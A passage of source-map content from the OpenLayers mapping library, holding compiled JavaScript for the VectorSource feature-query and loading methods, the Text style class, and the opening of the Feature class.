same\n * value.\n *\n * @param {import(\"../coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {function(import(\"../Feature.js\").default<Geometry>): T} callback Called with each feature\n * whose goemetry contains the provided coordinate.\n * @return {T|undefined} The return value from the last call to the callback.\n * @template T\n */\n VectorSource.prototype.forEachFeatureAtCoordinateDirect = function (coordinate, callback) {\n var extent = [coordinate[0], coordinate[1], coordinate[0], coordinate[1]];\n return this.forEachFeatureInExtent(extent, function (feature) {\n var geometry = feature.getGeometry();\n if (geometry.intersectsCoordinate(coordinate)) {\n return callback(feature);\n }\n else {\n return undefined;\n }\n });\n };\n /**\n * Iterate through all features whose bounding box intersects the provided\n * extent (note that the feature's geometry may not intersect the extent),\n * calling the callback with each feature. If the callback returns a \"truthy\"\n * value, iteration will stop and the function will return the same value.\n *\n * If you are interested in features whose geometry intersects an extent, call\n * the {@link module:ol/source/Vector~VectorSource#forEachFeatureIntersectingExtent #forEachFeatureIntersectingExtent()} method instead.\n *\n * When `useSpatialIndex` is set to false, this method will loop through all\n * features, equivalent to {@link module:ol/source/Vector~VectorSource#forEachFeature #forEachFeature()}.\n *\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @param {function(import(\"../Feature.js\").default<Geometry>): T} callback Called with each feature\n * whose bounding box intersects the provided extent.\n * @return {T|undefined} The return value from the last call to the callback.\n * @template T\n * @api\n */\n VectorSource.prototype.forEachFeatureInExtent = function (extent, callback) {\n if (this.featuresRtree_) {\n return this.featuresRtree_.forEachInExtent(extent, callback);\n }\n else if (this.featuresCollection_) {\n this.featuresCollection_.forEach(callback);\n }\n };\n /**\n * Iterate through all features whose geometry intersects the provided extent,\n * calling the callback with each feature. If the callback returns a \"truthy\"\n * value, iteration will stop and the function will return the same value.\n *\n * If you only want to test for bounding box intersection, call the\n * {@link module:ol/source/Vector~VectorSource#forEachFeatureInExtent #forEachFeatureInExtent()} method instead.\n *\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @param {function(import(\"../Feature.js\").default<Geometry>): T} callback Called with each feature\n * whose geometry intersects the provided extent.\n * @return {T|undefined} The return value from the last call to the callback.\n * @template T\n * @api\n */\n VectorSource.prototype.forEachFeatureIntersectingExtent = function (extent, callback) {\n return this.forEachFeatureInExtent(extent, \n /**\n * @param {import(\"../Feature.js\").default<Geometry>} feature Feature.\n * @return {T|undefined} The return value from the last call to the callback.\n */\n function (feature) {\n var geometry = feature.getGeometry();\n if (geometry.intersectsExtent(extent)) {\n var result = callback(feature);\n if (result) {\n return result;\n }\n }\n });\n };\n /**\n * Get the features collection associated with this source. Will be `null`\n * unless the source was configured with `useSpatialIndex` set to `false`, or\n * with an {@link module:ol/Collection~Collection} as `features`.\n * @return {Collection<import(\"../Feature.js\").default<Geometry>>|null} The collection of features.\n * @api\n */\n VectorSource.prototype.getFeaturesCollection = function () {\n return this.featuresCollection_;\n };\n /**\n * Get a snapshot of the features currently on the source in random order. The returned array\n * is a copy, the features are references to the features in the source.\n * @return {Array<import(\"../Feature.js\").default<Geometry>>} Features.\n * @api\n */\n VectorSource.prototype.getFeatures = function () {\n var features;\n if (this.featuresCollection_) {\n features = this.featuresCollection_.getArray().slice(0);\n }\n else if (this.featuresRtree_) {\n features = this.featuresRtree_.getAll();\n if (!isEmpty(this.nullGeometryFeatures_)) {\n extend(features, getValues(this.nullGeometryFeatures_));\n }\n }\n return /** @type {Array<import(\"../Feature.js\").default<Geometry>>} */ (features);\n };\n /**\n * Get all features whose geometry intersects the provided coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} coordinate Coordinate.\n * @return {Array<import(\"../Feature.js\").default<Geometry>>} Features.\n * @api\n */\n VectorSource.prototype.getFeaturesAtCoordinate = function (coordinate) {\n var features = [];\n this.forEachFeatureAtCoordinateDirect(coordinate, function (feature) {\n features.push(feature);\n });\n return features;\n };\n /**\n * Get all features whose bounding box intersects the provided extent. Note that this returns an array of\n * all features intersecting the given extent in random order (so it may include\n * features whose geometries do not intersect the extent).\n *\n * When `useSpatialIndex` is set to false, this method will return all\n * features.\n *\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @param {import(\"../proj/Projection.js\").default} [opt_projection] Include features\n * where `extent` exceeds the x-axis bounds of `projection` and wraps around the world.\n * @return {Array<import(\"../Feature.js\").default<Geometry>>} Features.\n * @api\n */\n VectorSource.prototype.getFeaturesInExtent = function (extent, opt_projection) {\n var _this = this;\n if (this.featuresRtree_) {\n var multiWorld = opt_projection && opt_projection.canWrapX() && this.getWrapX();\n if (!multiWorld) {\n return this.featuresRtree_.getInExtent(extent);\n }\n var extents = wrapAndSliceX(extent, opt_projection);\n return [].concat.apply([], extents.map(function (anExtent) { return _this.featuresRtree_.getInExtent(anExtent); }));\n }\n else if (this.featuresCollection_) {\n return this.featuresCollection_.getArray().slice(0);\n }\n else {\n return [];\n }\n };\n /**\n * Get the closest feature to the provided coordinate.\n *\n * This method is not available when the source is configured with\n * `useSpatialIndex` set to `false`.\n * @param {import(\"../coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {function(import(\"../Feature.js\").default<Geometry>):boolean} [opt_filter] Feature filter function.\n * The filter function will receive one argument, the {@link module:ol/Feature~Feature feature}\n * and it should return a boolean value. By default, no filtering is made.\n * @return {import(\"../Feature.js\").default<Geometry>} Closest feature.\n * @api\n */\n VectorSource.prototype.getClosestFeatureToCoordinate = function (coordinate, opt_filter) {\n // Find the closest feature using branch and bound. We start searching an\n // infinite extent, and find the distance from the first feature found. This\n // becomes the closest feature. We then compute a smaller extent which any\n // closer feature must intersect. We continue searching with this smaller\n // extent, trying to find a closer feature. Every time we find a closer\n // feature, we update the extent being searched so that any even closer\n // feature must intersect it. We continue until we run out of features.\n var x = coordinate[0];\n var y = coordinate[1];\n var closestFeature = null;\n var closestPoint = [NaN, NaN];\n var minSquaredDistance = Infinity;\n var extent = [-Infinity, -Infinity, Infinity, Infinity];\n var filter = opt_filter ? opt_filter : TRUE;\n this.featuresRtree_.forEachInExtent(extent, \n /**\n * @param {import(\"../Feature.js\").default<Geometry>} feature Feature.\n */\n function (feature) {\n if (filter(feature)) {\n var geometry = feature.getGeometry();\n var previousMinSquaredDistance = minSquaredDistance;\n minSquaredDistance = geometry.closestPointXY(x, y, closestPoint, minSquaredDistance);\n if (minSquaredDistance < previousMinSquaredDistance) {\n closestFeature = feature;\n // This is sneaky. Reduce the extent that it is currently being\n // searched while the R-Tree traversal using this same extent object\n // is still in progress. This is safe because the new extent is\n // strictly contained by the old extent.\n var minDistance = Math.sqrt(minSquaredDistance);\n extent[0] = x - minDistance;\n extent[1] = y - minDistance;\n extent[2] = x + minDistance;\n extent[3] = y + minDistance;\n }\n }\n });\n return closestFeature;\n };\n /**\n * Get the extent of the features currently in the source.\n *\n * This method is not available when the source is configured with\n * `useSpatialIndex` set to `false`.\n * @param {import(\"../extent.js\").Extent} [opt_extent] Destination extent. If provided, no new extent\n * will be created. Instead, that extent's coordinates will be overwritten.\n * @return {import(\"../extent.js\").Extent} Extent.\n * @api\n */\n VectorSource.prototype.getExtent = function (opt_extent) {\n return this.featuresRtree_.getExtent(opt_extent);\n };\n /**\n * Get a feature by its identifier (the value returned by feature.getId()).\n * Note that the index treats string and numeric identifiers as the same. So\n * `source.getFeatureById(2)` will return a feature with id `'2'` or `2`.\n *\n * @param {string|number} id Feature identifier.\n * @return {import(\"../Feature.js\").default<Geometry>|null} The feature (or `null` if not found).\n * @api\n */\n VectorSource.prototype.getFeatureById = function (id) {\n var feature = this.idIndex_[id.toString()];\n return feature !== undefined ? feature : null;\n };\n /**\n * Get a feature by its internal unique identifier (using `getUid`).\n *\n * @param {string} uid Feature identifier.\n * @return {import(\"../Feature.js\").default<Geometry>|null} The feature (or `null` if not found).\n */\n VectorSource.prototype.getFeatureByUid = function (uid) {\n var feature = this.uidIndex_[uid];\n return feature !== undefined ? feature : null;\n };\n /**\n * Get the format associated with this source.\n *\n * @return {import(\"../format/Feature.js\").default|undefined} The feature format.\n * @api\n */\n VectorSource.prototype.getFormat = function () {\n return this.format_;\n };\n /**\n * @return {boolean} The source can have overlapping geometries.\n */\n VectorSource.prototype.getOverlaps = function () {\n return this.overlaps_;\n };\n /**\n * Get the url associated with this source.\n *\n * @return {string|import(\"../featureloader.js\").FeatureUrlFunction|undefined} The url.\n * @api\n */\n VectorSource.prototype.getUrl = function () {\n return this.url_;\n };\n /**\n * @param {Event} event Event.\n * @private\n */\n VectorSource.prototype.handleFeatureChange_ = function (event) {\n var feature = /** @type {import(\"../Feature.js\").default<Geometry>} */ (event.target);\n var featureKey = getUid(feature);\n var geometry = feature.getGeometry();\n if (!geometry) {\n if (!(featureKey in this.nullGeometryFeatures_)) {\n if (this.featuresRtree_) {\n this.featuresRtree_.remove(feature);\n }\n this.nullGeometryFeatures_[featureKey] = feature;\n }\n }\n else {\n var extent = geometry.getExtent();\n if (featureKey in this.nullGeometryFeatures_) {\n delete this.nullGeometryFeatures_[featureKey];\n if (this.featuresRtree_) {\n this.featuresRtree_.insert(extent, feature);\n }\n }\n else {\n if (this.featuresRtree_) {\n this.featuresRtree_.update(extent, feature);\n }\n }\n }\n var id = feature.getId();\n if (id !== undefined) {\n var sid = id.toString();\n if (this.idIndex_[sid] !== feature) {\n this.removeFromIdIndex_(feature);\n this.idIndex_[sid] = feature;\n }\n }\n else {\n this.removeFromIdIndex_(feature);\n this.uidIndex_[featureKey] = feature;\n }\n this.changed();\n this.dispatchEvent(new VectorSourceEvent(VectorEventType.CHANGEFEATURE, feature));\n };\n /**\n * Returns true if the feature is contained within the source.\n * @param {import(\"../Feature.js\").default<Geometry>} feature Feature.\n * @return {boolean} Has feature.\n * @api\n */\n VectorSource.prototype.hasFeature = function (feature) {\n var id = feature.getId();\n if (id !== undefined) {\n return id in this.idIndex_;\n }\n else {\n return getUid(feature) in this.uidIndex_;\n }\n };\n /**\n * @return {boolean} Is empty.\n */\n VectorSource.prototype.isEmpty = function () {\n if (this.featuresRtree_) {\n return (this.featuresRtree_.isEmpty() && isEmpty(this.nullGeometryFeatures_));\n }\n if (this.featuresCollection_) {\n return this.featuresCollection_.getLength() === 0;\n }\n return true;\n };\n /**\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @param {number} resolution Resolution.\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n */\n VectorSource.prototype.loadFeatures = function (extent, resolution, projection) {\n var loadedExtentsRtree = this.loadedExtentsRtree_;\n var extentsToLoad = this.strategy_(extent, resolution, projection);\n var _loop_1 = function (i, ii) {\n var extentToLoad = extentsToLoad[i];\n var alreadyLoaded = loadedExtentsRtree.forEachInExtent(extentToLoad, \n /**\n * @param {{extent: import(\"../extent.js\").Extent}} object Object.\n * @return {boolean} Contains.\n */\n function (object) {\n return containsExtent(object.extent, extentToLoad);\n });\n if (!alreadyLoaded) {\n ++this_1.loadingExtentsCount_;\n this_1.dispatchEvent(new VectorSourceEvent(VectorEventType.FEATURESLOADSTART));\n this_1.loader_.call(this_1, extentToLoad, resolution, projection, function (features) {\n --this.loadingExtentsCount_;\n this.dispatchEvent(new VectorSourceEvent(VectorEventType.FEATURESLOADEND, undefined, features));\n }.bind(this_1), function () {\n --this.loadingExtentsCount_;\n this.dispatchEvent(new VectorSourceEvent(VectorEventType.FEATURESLOADERROR));\n }.bind(this_1));\n loadedExtentsRtree.insert(extentToLoad, { extent: extentToLoad.slice() });\n }\n };\n var this_1 = this;\n for (var i = 0, ii = extentsToLoad.length; i < ii; ++i) {\n _loop_1(i, ii);\n }\n this.loading =\n this.loader_.length < 4 ? false : this.loadingExtentsCount_ > 0;\n };\n VectorSource.prototype.refresh = function () {\n this.clear(true);\n this.loadedExtentsRtree_.clear();\n _super.prototype.refresh.call(this);\n };\n /**\n * Remove an extent from the list of loaded extents.\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @api\n */\n VectorSource.prototype.removeLoadedExtent = function (extent) {\n var loadedExtentsRtree = this.loadedExtentsRtree_;\n var obj;\n loadedExtentsRtree.forEachInExtent(extent, function (object) {\n if (equals(object.extent, extent)) {\n obj = object;\n return true;\n }\n });\n if (obj) {\n loadedExtentsRtree.remove(obj);\n }\n };\n /**\n * Remove a single feature from the source. If you want to remove all features\n * at once, use the {@link module:ol/source/Vector~VectorSource#clear #clear()} method\n * instead.\n * @param {import(\"../Feature.js\").default<Geometry>} feature Feature to remove.\n * @api\n */\n VectorSource.prototype.removeFeature = function (feature) {\n if (!feature) {\n return;\n }\n var featureKey = getUid(feature);\n if (featureKey in this.nullGeometryFeatures_) {\n delete this.nullGeometryFeatures_[featureKey];\n }\n else {\n if (this.featuresRtree_) {\n this.featuresRtree_.remove(feature);\n }\n }\n var result = this.removeFeatureInternal(feature);\n if (result) {\n this.changed();\n }\n };\n /**\n * Remove feature without firing a `change` event.\n * @param {import(\"../Feature.js\").default<Geometry>} feature Feature.\n * @return {import(\"../Feature.js\").default<Geometry>|undefined} The removed feature\n * (or undefined if the feature was not found).\n * @protected\n */\n VectorSource.prototype.removeFeatureInternal = function (feature) {\n var featureKey = getUid(feature);\n var featureChangeKeys = this.featureChangeKeys_[featureKey];\n if (!featureChangeKeys) {\n return;\n }\n featureChangeKeys.forEach(unlistenByKey);\n delete this.featureChangeKeys_[featureKey];\n var id = feature.getId();\n if (id !== undefined) {\n delete this.idIndex_[id.toString()];\n }\n delete this.uidIndex_[featureKey];\n this.dispatchEvent(new VectorSourceEvent(VectorEventType.REMOVEFEATURE, feature));\n return feature;\n };\n /**\n * Remove a feature from the id index. Called internally when the feature id\n * may have changed.\n * @param {import(\"../Feature.js\").default<Geometry>} feature The feature.\n * @return {boolean} Removed the feature from the index.\n * @private\n */\n VectorSource.prototype.removeFromIdIndex_ = function (feature) {\n var removed = false;\n for (var id in this.idIndex_) {\n if (this.idIndex_[id] === feature) {\n delete this.idIndex_[id];\n removed = true;\n break;\n }\n }\n return removed;\n };\n /**\n * Set the new loader of the source. The next render cycle will use the\n * new loader.\n * @param {import(\"../featureloader.js\").FeatureLoader} loader The loader to set.\n * @api\n */\n VectorSource.prototype.setLoader = function (loader) {\n this.loader_ = loader;\n };\n /**\n * Points the source to a new url. The next render cycle will use the new url.\n * @param {string|import(\"../featureloader.js\").FeatureUrlFunction} url Url.\n * @api\n */\n VectorSource.prototype.setUrl = function (url) {\n assert(this.format_, 7); // `format` must be set when `url` is set\n this.url_ = url;\n this.setLoader(xhr(url, this.format_));\n };\n return VectorSource;\n}(Source));\nexport default VectorSource;\n//# sourceMappingURL=Vector.js.map","/**\n * @module ol/style/Text\n */\nimport Fill from './Fill.js';\nimport TextPlacement from './TextPlacement.js';\nimport { toSize } from '../size.js';\n/**\n * The default fill color to use if no fill was set at construction time; a\n * blackish `#333`.\n *\n * @const {string}\n */\nvar DEFAULT_FILL_COLOR = '#333';\n/**\n * @typedef {Object} Options\n * @property {string} [font] Font style as CSS 'font' value, see:\n * https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/font. Default is '10px sans-serif'\n * @property {number} [maxAngle=Math.PI/4] When `placement` is set to `'line'`, allow a maximum angle between adjacent characters.\n * The expected value is in radians, and the default is 45° (`Math.PI / 4`).\n * @property {number} [offsetX=0] Horizontal text offset in pixels. A positive will shift the text right.\n * @property {number} [offsetY=0] Vertical text offset in pixels. A positive will shift the text down.\n * @property {boolean} [overflow=false] For polygon labels or when `placement` is set to `'line'`, allow text to exceed\n * the width of the polygon at the label position or the length of the path that it follows.\n * @property {import(\"./TextPlacement.js\").default|string} [placement='point'] Text placement.\n * @property {number|import(\"../size.js\").Size} [scale] Scale.\n * @property {boolean} [rotateWithView=false] Whether to rotate the text with the view.\n * @property {number} [rotation=0] Rotation in radians (positive rotation clockwise).\n * @property {string|Array<string>} [text] Text content or rich text content. For plain text provide a string, which can\n * contain line breaks (`\\n`). For rich text provide an array of text/font tuples. A tuple consists of the text to\n * render and the font to use (or `''` to use the text style's font). A line break has to be a separate tuple (i.e. `'\\n', ''`).\n * **Example:** `['foo', 'bold 10px sans-serif', ' bar', 'italic 10px sans-serif', ' baz', '']` will yield \"**foo** *bar* baz\".\n * **Note:** Rich text is not supported for the immediate rendering API.\n * @property {string} [textAlign] Text alignment. Possible values: 'left', 'right', 'center', 'end' or 'start'.\n * Default is 'center' for `placement: 'point'`. For `placement: 'line'`, the default is to let the renderer choose a\n * placement where `maxAngle` is not exceeded.\n * @property {string} [justify] Text justification within the text box.\n * If not set, text is justified towards the `textAlign` anchor.\n * Otherwise, use options `'left'`, `'center'`, or `'right'` to justify the text within the text box.\n * **Note:** `justify` is ignored for immediate rendering and also for `placement: 'line'`.\n * @property {string} [textBaseline='middle'] Text base line. Possible values: 'bottom', 'top', 'middle', 'alphabetic',\n * 'hanging', 'ideographic'.\n * @property {import(\"./Fill.js\").default} [fill] Fill style. If none is provided, we'll use a dark fill-style (#333).\n * @property {import(\"./Stroke.js\").default} [stroke] Stroke style.\n * @property {import(\"./Fill.js\").default} [backgroundFill] Fill style for the text background when `placement` is\n * `'point'`. Default is no fill.\n * @property {import(\"./Stroke.js\").default} [backgroundStroke] Stroke style for the text background when `placement`\n * is `'point'`. Default is no stroke.\n * @property {Array<number>} [padding=[0, 0, 0, 0]] Padding in pixels around the text for decluttering and background. The order of\n * values in the array is `[top, right, bottom, left]`.\n */\n/**\n * @classdesc\n * Set text style for vector features.\n * @api\n */\nvar Text = /** @class */ (function () {\n /**\n * @param {Options} [opt_options] Options.\n */\n function Text(opt_options) {\n var options = opt_options || {};\n /**\n * @private\n * @type {string|undefined}\n */\n this.font_ = options.font;\n /**\n * @private\n * @type {number|undefined}\n */\n this.rotation_ = options.rotation;\n /**\n * @private\n * @type {boolean|undefined}\n */\n this.rotateWithView_ = options.rotateWithView;\n /**\n * @private\n * @type {number|import(\"../size.js\").Size|undefined}\n */\n this.scale_ = options.scale;\n /**\n * @private\n * @type {import(\"../size.js\").Size}\n */\n this.scaleArray_ = toSize(options.scale !== undefined ? options.scale : 1);\n /**\n * @private\n * @type {string|Array<string>|undefined}\n */\n this.text_ = options.text;\n /**\n * @private\n * @type {string|undefined}\n */\n this.textAlign_ = options.textAlign;\n /**\n * @private\n * @type {string|undefined}\n */\n this.justify_ = options.justify;\n /**\n * @private\n * @type {string|undefined}\n */\n this.textBaseline_ = options.textBaseline;\n /**\n * @private\n * @type {import(\"./Fill.js\").default}\n */\n this.fill_ =\n options.fill !== undefined\n ? options.fill\n : new Fill({ color: DEFAULT_FILL_COLOR });\n /**\n * @private\n * @type {number}\n */\n this.maxAngle_ =\n options.maxAngle !== undefined ? options.maxAngle : Math.PI / 4;\n /**\n * @private\n * @type {import(\"./TextPlacement.js\").default|string}\n */\n this.placement_ =\n options.placement !== undefined ? options.placement : TextPlacement.POINT;\n /**\n * @private\n * @type {boolean}\n */\n this.overflow_ = !!options.overflow;\n /**\n * @private\n * @type {import(\"./Stroke.js\").default}\n */\n this.stroke_ = options.stroke !== undefined ? options.stroke : null;\n /**\n * @private\n * @type {number}\n */\n this.offsetX_ = options.offsetX !== undefined ? options.offsetX : 0;\n /**\n * @private\n * @type {number}\n */\n this.offsetY_ = options.offsetY !== undefined ? options.offsetY : 0;\n /**\n * @private\n * @type {import(\"./Fill.js\").default}\n */\n this.backgroundFill_ = options.backgroundFill\n ? options.backgroundFill\n : null;\n /**\n * @private\n * @type {import(\"./Stroke.js\").default}\n */\n this.backgroundStroke_ = options.backgroundStroke\n ? options.backgroundStroke\n : null;\n /**\n * @private\n * @type {Array<number>|null}\n */\n this.padding_ = options.padding === undefined ? null : options.padding;\n }\n /**\n * Clones the style.\n * @return {Text} The cloned style.\n * @api\n */\n Text.prototype.clone = function () {\n var scale = this.getScale();\n return new Text({\n font: this.getFont(),\n placement: this.getPlacement(),\n maxAngle: this.getMaxAngle(),\n overflow: this.getOverflow(),\n rotation: this.getRotation(),\n rotateWithView: this.getRotateWithView(),\n scale: Array.isArray(scale) ? scale.slice() : scale,\n text: this.getText(),\n textAlign: this.getTextAlign(),\n justify: this.getJustify(),\n textBaseline: this.getTextBaseline(),\n fill: this.getFill() ? this.getFill().clone() : undefined,\n stroke: this.getStroke() ? this.getStroke().clone() : undefined,\n offsetX: this.getOffsetX(),\n offsetY: this.getOffsetY(),\n backgroundFill: this.getBackgroundFill()\n ? this.getBackgroundFill().clone()\n : undefined,\n backgroundStroke: this.getBackgroundStroke()\n ? this.getBackgroundStroke().clone()\n : undefined,\n padding: this.getPadding() || undefined,\n });\n };\n /**\n * Get the `overflow` configuration.\n * @return {boolean} Let text overflow the length of the path they follow.\n * @api\n */\n Text.prototype.getOverflow = function () {\n return this.overflow_;\n };\n /**\n * Get the font name.\n * @return {string|undefined} Font.\n * @api\n */\n Text.prototype.getFont = function () {\n return this.font_;\n };\n /**\n * Get the maximum angle between adjacent characters.\n * @return {number} Angle in radians.\n * @api\n */\n Text.prototype.getMaxAngle = function () {\n return this.maxAngle_;\n };\n /**\n * Get the label placement.\n * @return {import(\"./TextPlacement.js\").default|string} Text placement.\n * @api\n */\n Text.prototype.getPlacement = function () {\n return this.placement_;\n };\n /**\n * Get the x-offset for the text.\n * @return {number} Horizontal text offset.\n * @api\n */\n Text.prototype.getOffsetX = function () {\n return this.offsetX_;\n };\n /**\n * Get the y-offset for the text.\n * @return {number} Vertical text offset.\n * @api\n */\n Text.prototype.getOffsetY = function () {\n return this.offsetY_;\n };\n /**\n * Get the fill style for the text.\n * @return {import(\"./Fill.js\").default} Fill style.\n * @api\n */\n Text.prototype.getFill = function () {\n return this.fill_;\n };\n /**\n * Determine whether the text rotates with the map.\n * @return {boolean|undefined} Rotate with map.\n * @api\n */\n Text.prototype.getRotateWithView = function () {\n return this.rotateWithView_;\n };\n /**\n * Get the text rotation.\n * @return {number|undefined} Rotation.\n * @api\n */\n Text.prototype.getRotation = function () {\n return this.rotation_;\n };\n /**\n * Get the text scale.\n * @return {number|import(\"../size.js\").Size|undefined} Scale.\n * @api\n */\n Text.prototype.getScale = function () {\n return this.scale_;\n };\n /**\n * Get the symbolizer scale array.\n * @return {import(\"../size.js\").Size} Scale array.\n */\n Text.prototype.getScaleArray = function () {\n return this.scaleArray_;\n };\n /**\n * Get the stroke style for the text.\n * @return {import(\"./Stroke.js\").default} Stroke style.\n * @api\n */\n Text.prototype.getStroke = function () {\n return this.stroke_;\n };\n /**\n * Get the text to be rendered.\n * @return {string|Array<string>|undefined} Text.\n * @api\n */\n Text.prototype.getText = function () {\n return this.text_;\n };\n /**\n * Get the text alignment.\n * @return {string|undefined} Text align.\n * @api\n */\n Text.prototype.getTextAlign = function () {\n return this.textAlign_;\n };\n /**\n * Get the justification.\n * @return {string|undefined} Justification.\n * @api\n */\n Text.prototype.getJustify = function () {\n return this.justify_;\n };\n /**\n * Get the text baseline.\n * @return {string|undefined} Text baseline.\n * @api\n */\n Text.prototype.getTextBaseline = function () {\n return this.textBaseline_;\n };\n /**\n * Get the background fill style for the text.\n * @return {import(\"./Fill.js\").default} Fill style.\n * @api\n */\n Text.prototype.getBackgroundFill = function () {\n return this.backgroundFill_;\n };\n /**\n * Get the background stroke style for the text.\n * @return {import(\"./Stroke.js\").default} Stroke style.\n * @api\n */\n Text.prototype.getBackgroundStroke = function () {\n return this.backgroundStroke_;\n };\n /**\n * Get the padding for the text.\n * @return {Array<number>|null} Padding.\n * @api\n */\n Text.prototype.getPadding = function () {\n return this.padding_;\n };\n /**\n * Set the `overflow` property.\n *\n * @param {boolean} overflow Let text overflow the path that it follows.\n * @api\n */\n Text.prototype.setOverflow = function (overflow) {\n this.overflow_ = overflow;\n };\n /**\n * Set the font.\n *\n * @param {string|undefined} font Font.\n * @api\n */\n Text.prototype.setFont = function (font) {\n this.font_ = font;\n };\n /**\n * Set the maximum angle between adjacent characters.\n *\n * @param {number} maxAngle Angle in radians.\n * @api\n */\n Text.prototype.setMaxAngle = function (maxAngle) {\n this.maxAngle_ = maxAngle;\n };\n /**\n * Set the x offset.\n *\n * @param {number} offsetX Horizontal text offset.\n * @api\n */\n Text.prototype.setOffsetX = function (offsetX) {\n this.offsetX_ = offsetX;\n };\n /**\n * Set the y offset.\n *\n * @param {number} offsetY Vertical text offset.\n * @api\n */\n Text.prototype.setOffsetY = function (offsetY) {\n this.offsetY_ = offsetY;\n };\n /**\n * Set the text placement.\n *\n * @param {import(\"./TextPlacement.js\").default|string} placement Placement.\n * @api\n */\n Text.prototype.setPlacement = function (placement) {\n this.placement_ = placement;\n };\n /**\n * Set whether to rotate the text with the view.\n *\n * @param {boolean} rotateWithView Rotate with map.\n * @api\n */\n Text.prototype.setRotateWithView = function (rotateWithView) {\n this.rotateWithView_ = rotateWithView;\n };\n /**\n * Set the fill.\n *\n * @param {import(\"./Fill.js\").default} fill Fill style.\n * @api\n */\n Text.prototype.setFill = function (fill) {\n this.fill_ = fill;\n };\n /**\n * Set the rotation.\n *\n * @param {number|undefined} rotation Rotation.\n * @api\n */\n Text.prototype.setRotation = function (rotation) {\n this.rotation_ = rotation;\n };\n /**\n * Set the scale.\n *\n * @param {number|import(\"../size.js\").Size|undefined} scale Scale.\n * @api\n */\n Text.prototype.setScale = function (scale) {\n this.scale_ = scale;\n this.scaleArray_ = toSize(scale !== undefined ? scale : 1);\n };\n /**\n * Set the stroke.\n *\n * @param {import(\"./Stroke.js\").default} stroke Stroke style.\n * @api\n */\n Text.prototype.setStroke = function (stroke) {\n this.stroke_ = stroke;\n };\n /**\n * Set the text.\n *\n * @param {string|Array<string>|undefined} text Text.\n * @api\n */\n Text.prototype.setText = function (text) {\n this.text_ = text;\n };\n /**\n * Set the text alignment.\n *\n * @param {string|undefined} textAlign Text align.\n * @api\n */\n Text.prototype.setTextAlign = function (textAlign) {\n this.textAlign_ = textAlign;\n };\n /**\n * Set the justification.\n *\n * @param {string|undefined} justify Justification.\n * @api\n */\n Text.prototype.setJustify = function (justify) {\n this.justify_ = justify;\n };\n /**\n * Set the text baseline.\n *\n * @param {string|undefined} textBaseline Text baseline.\n * @api\n */\n Text.prototype.setTextBaseline = function (textBaseline) {\n this.textBaseline_ = textBaseline;\n };\n /**\n * Set the background fill.\n *\n * @param {import(\"./Fill.js\").default} fill Fill style.\n * @api\n */\n Text.prototype.setBackgroundFill = function (fill) {\n this.backgroundFill_ = fill;\n };\n /**\n * Set the background stroke.\n *\n * @param {import(\"./Stroke.js\").default} stroke Stroke style.\n * @api\n */\n Text.prototype.setBackgroundStroke = function (stroke) {\n this.backgroundStroke_ = stroke;\n };\n /**\n * Set the padding (`[top, right, bottom, left]`).\n *\n * @param {Array<number>|null} padding Padding.\n * @api\n */\n Text.prototype.setPadding = function (padding) {\n this.padding_ = padding;\n };\n return Text;\n}());\nexport default Text;\n//# sourceMappingURL=Text.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/Feature\n */\nimport BaseObject from './Object.js';\nimport EventType from './events/EventType.js';\nimport { assert } from './asserts.js';\nimport { listen, unlistenByKey } from './events.js';\n/**\n * @typedef {typeof Feature|typeof import(\"./render/Feature.js\").default} FeatureClass\n */\n/**\n * @typedef {Feature|import(\"./render/Feature.js\").default} FeatureLike\n */\n/***\n * @template Return\n * @typedef {import(\"./Observable\").OnSignature<import(\"./Observable\").EventTypes, import(\"./events/Event.js\").default, Return> &\n * import(\"./Observable\").OnSignature<import(\"./ObjectEventType\").Types|'change:geometry', import(\"./Object\").ObjectEvent, Return> &\n * import(\"./Observable\").CombinedOnSignature<import(\"./Observable\").EventTypes|import(\"./ObjectEventType\").Types\n * |'change:geometry', Return>} FeatureOnSignature\n */\n/***\n * @template Geometry\n * @typedef {Object<string, *> & { geometry?: Geometry }} ObjectWithGeometry\n */\n/**\n * @classdesc\n * A vector object for geographic features with a geometry and other\n * attribute properties, similar to the features in vector file formats like\n * GeoJSON.\n *\n * Features can be styled individually with `setStyle`; otherwise they use the\n * style of their vector layer.\n *\n * Note that attribute properties are set as {@link module:ol/Object~BaseObject} properties on\n * the feature object, so they are observable, and have get/set accessors.\n *\n * Typically, a feature has a single geometry property. You can set the\n * geometry using the `setGeometry` method and get it with `getGeometry`.\n * It is possible to store more than one geometry on a feature using attribute\n * properties. By default, the geometry used for rendering is identified by\n * the property name `geometry`. If you want to use another geometry property\n * for rendering, use the `setGeometryName` method to change the attribute\n * property associated with the geometry for the feature. For example:\n *\n * ```js\n *\n * import Feature from 'ol/Feature';\n * import Polygon from 'ol/geom/Polygon';\n * import Point from 'ol/geom/Point';\n *\n * var feature = new Feature({\n * geometry: new Polygon(polyCoords),\n * labelPoint: new Point(labelCoords),\n * name: 'My Polygon'\n * });\n *\n * // get the polygon geometry\n * var poly = feature.getGeometry();\n *\n * // Render the feature as a point using the coordinates from labelPoint\n * feature.setGeometryName('labelPoint');\n *\n * // get the point geometry\n * var point = feature.getGeometry();\n * ```\n *\n * @api\n * @template {import(\"./geom/Geometry.js\").default} [Geometry=import(\"./geom/Geometry.js\").default]\n */\nvar Feature = /** @class */ (function (_super) {\n __extends(Feature, _super);\n /**\n * @param {Geometry|ObjectWithGeometry<Geometry>} [opt_geometryOrProperties]\n * You may pass a Geometry object directly, or an object literal containing\n * properties. If you pass an object literal, you may include a Geometry\n 